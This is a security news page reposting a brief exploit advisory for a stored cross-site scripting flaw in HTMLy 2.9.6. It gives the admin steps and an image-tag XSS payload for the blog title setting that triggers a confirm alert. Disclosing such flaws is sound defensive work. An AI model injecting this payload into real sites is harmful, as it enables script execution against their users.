Security
Headlines
HeadlinesLatestCVEs

Headline

HTMLy 2.9.6 Cross Site Scripting

HTMLy version 2.9.6 suffers from a persistent cross site scripting vulnerability.

Packet Storm
#xss#vulnerability#auth

Change Mirror Download

# Exploit Title: HTMLy Version : 2.9.6  - Stored XSS# Exploit Author: tmrswrr # Vendor Homepage: https://www.htmly.com/# Version 3.10.8.21 # Date : 04/08/20241 ) Login admin https://127.0.0.1/HTMLy/admin/config2 ) General Setting > Blog title >  "><img src=x onerrora=confirm() onerror=confirm(1)> 3 ) After save it you will be see xss alert

Packet Storm: Latest News

Grav CMS 1.7.44 Server-Side Template Injection